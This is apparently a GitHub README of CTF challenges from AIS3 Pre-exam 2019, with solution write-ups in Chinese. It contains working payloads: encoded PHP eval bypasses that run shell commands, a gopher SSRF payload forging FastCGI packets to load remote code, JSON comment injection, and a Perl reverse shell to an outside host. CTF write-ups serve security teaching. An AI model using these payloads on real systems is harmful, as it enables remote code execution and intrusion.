Skip to content
master
Switch branches/tags
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 
 
 
 
 
 
 

AIS3 Pre-exam 2019

佛系出題,每題都不擋非預期,每題都有多種簡單解法 (´・ω・`)

Name Tags Solves Category
SimpleWindow ServiceWorker, warmup 316 Web
3v4l PHP, Bash, seadog 28 Web
BabySSRF SSRF, PHP, FastCGI 3 Web
Are you admin? Ruby, JSON 181 Misc
Pysh Python, Bash 64 Misc

Web

Simple Window

  • Solved: 316
  • 預期難度: ☆ ~ ★

  • 訪問/時會安裝 Service Worker
  • 然後把/flag cache成別的頁面
  • 把 Service Worker 取消或是關掉js就可
  • 或是在第一次安裝時,它其實會去 fetch /flag 內容,你只要這時候抓 response 就行
    • 瀏覽器 / BurpSuite 是你的好朋友

3v4l

  • Solved: 28
  • 預期難度: ★★ ~ ★★★

  • 這題會把$_GET["#"]丟進eval

    • 瀏覽器送記得 urlencode 一下
    • # => %23
  • 限制長度不能超過 18

  • 解法一 (預期解)

    • PHP的NOT運算
    • ~%8C%86%8C%8B%9A%92 = system
    • ~%93%8C%DF%D0 = ls /
    • 組合起來: (~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
      • 就等於system("ls /");
      • 這邊可以得到flag name: here_is_your_flag
    • 最後去讀 flag:
      • (~%9A%87%9A%9C)(~%9C%9E%8B%DF%D0%97%D5);
      • exec("cat /h*");
  • 解法二

    • 忘記擋 ``?
    • 直接`/???/??? /*`;
    • 相當於`/bin/cat /*`;
  • 解法三

    • `\\143\\141\\164%20/*`;
    • 等同`cat /*`;
  • 解法四

    • 來自 @cyku 大佬
    • `{${~%A0%B8%BA%AB}[0]}`;
    • ~%A0%B8%BA%AB = _GET
    • $_GET[0]拿去執行
    • 完整 getshell

BabySSRF

  • Solved: 3
  • 預期難度: ★★★ ~ ★★★★

  • 這題很單純把輸入的URL拿去curl跑

  • 然後擋掉file:, ftp:, flag, index.php, metadata 等關鍵字

    • gopher://沒擋
    • 可以任意 SSRF 構造 TCP packet
  • /robots.txt可以找到info.php

    • 單純 phpinfo
    • 這邊就暗示後端是用 PHP-FPM 跑的
  • 所以目標很明確,就是構造 FastCGI Protocol 去 RCE

    • 但限制長度只能 236 Bytes
  • 構造 FastCGI Protocol 很容易,網路上隨便找都有 Payload generator

    • 但長度一般都很長,必須想辦法壓下來
  • 壓 Payload 長度

    • 127.0.0.1 可以換成 0
    • urlencode處理好 (只有 NULL Byte 和換行需要 Double encode)
    • 大部分 Params 都能拔掉
      • 重要的只有REQUEST_METHODPHP_VALUE
      • 如果要在單個 Request 內就執行prepend_file的話,要加SCRIPT_FILENAME
      • 多個 Request 的話,可以拔掉SCRIPT_FILENAME,先把設定寫進去
        • 譴責這種解法
        • 在大部分狀況下,需要一直狂送 Payload 或是狂 Refresh
        • 很容易把全部 fpm process 設定寫掉,影響別人解題
    • 買個短一點的 domain (X
      • 看看某海狗長度5的 domain (貧窮限制了我的想像力)
    • 剩下就慢慢看 FastCGI 結構去優化
  • 範例 Payload:

    • gopher://0:9000/_%01%01%2500%01%2500%08%2500%2500%2500%01%2500%2500%2500%2500%2500%2500%01%04%2500%01%2500%7F%2500%2500%0E%03REQUEST_METHODGET%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Finfo.php%09%3APHP_VALUEallow_url_include%3DOn%250Aauto_prepend_file%3Dhttp%3A%2F%2Fkaibro.tw%01%04%2500%01%2500%2500%2500%2500%01%05%2500%01%2500%2500%2500%2500
    • 打開allow_url_include
    • 設定auto_prepend_file=http://kaibro.tw
    • Payload generator 請參考 gen_payload.php
  • RCE 之後,/readflag會生兩個 random integer 要你相加,答案正確才噴 flag

    • 但 timeout 只有 1 秒
    • 除非你心算和手速異於常人,不然應該沒辦法手算
    • 這邊我的解法: mkfifo pipe; cat pipe | /readflag |(read l;echo "$((${l::11}))\n" > pipe;cat)

Misc

Are you admin ?

  • Solved: 181
  • 預期難度: ★★ ~ ★★☆

  • 這題會去用 JSON parse 一個字串

    • "{\"name\":\"#{name}\",\"is_admin\":\"no\", \"age\":\"#{age}\"}"
  • 字串前後的nameage都可控

    • age 不能用英文字
    • 但非英文都可 (包含特殊符號)
  • 中間有一個"is_admin":"no"

  • 目標是把 parse 完的is_admin蓋成yes

  • 解法一 (預期解)

    • Ruby JSON 可以用註解
    • name: ","is_admin":"yes",/*
    • age: */"@":"@
    • 合起來: {"name":"","is_admin":"yes",/*","is_admin":"no", "age":"*/"@":"@"}
  • 解法二

    • {}去包is_admin
    • name: ","is_admin":"yes","x":{"":"
    • age: "},"":"
    • 合起來: {"name":"","is_admin":"yes","x":{"":","is_admin":"no", "age":""},"":""}

Pysh

  • Solved: 64
  • 預期難度: ★★ ~ ★★★

  • 這題限制你不能用大部分小寫英文和一堆特殊符號

  • 目標是想辦法用剩下的字元去 RCE

  • 解法一 (預期解)

    • read預設結果會存放到$REPLY
    • 所以read;$REPLY就能 RCE
    • 也能read a;$a
  • 解法二

    • $SHELL
    • 最多人用
  • 解法三

    • $BASH
  • 解法四

    • a=`pr -T`;$a
  • 解法五

    • perl
    • use Socket;$i="kaibro.tw";$p=5487;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

p.s. 如果有人有其他解法歡迎發PR給我 <3

About

My challenges for AIS3 pre-exam 2019 and MyFirstCTF 2019

Resources

Releases

No releases published

Packages

No packages published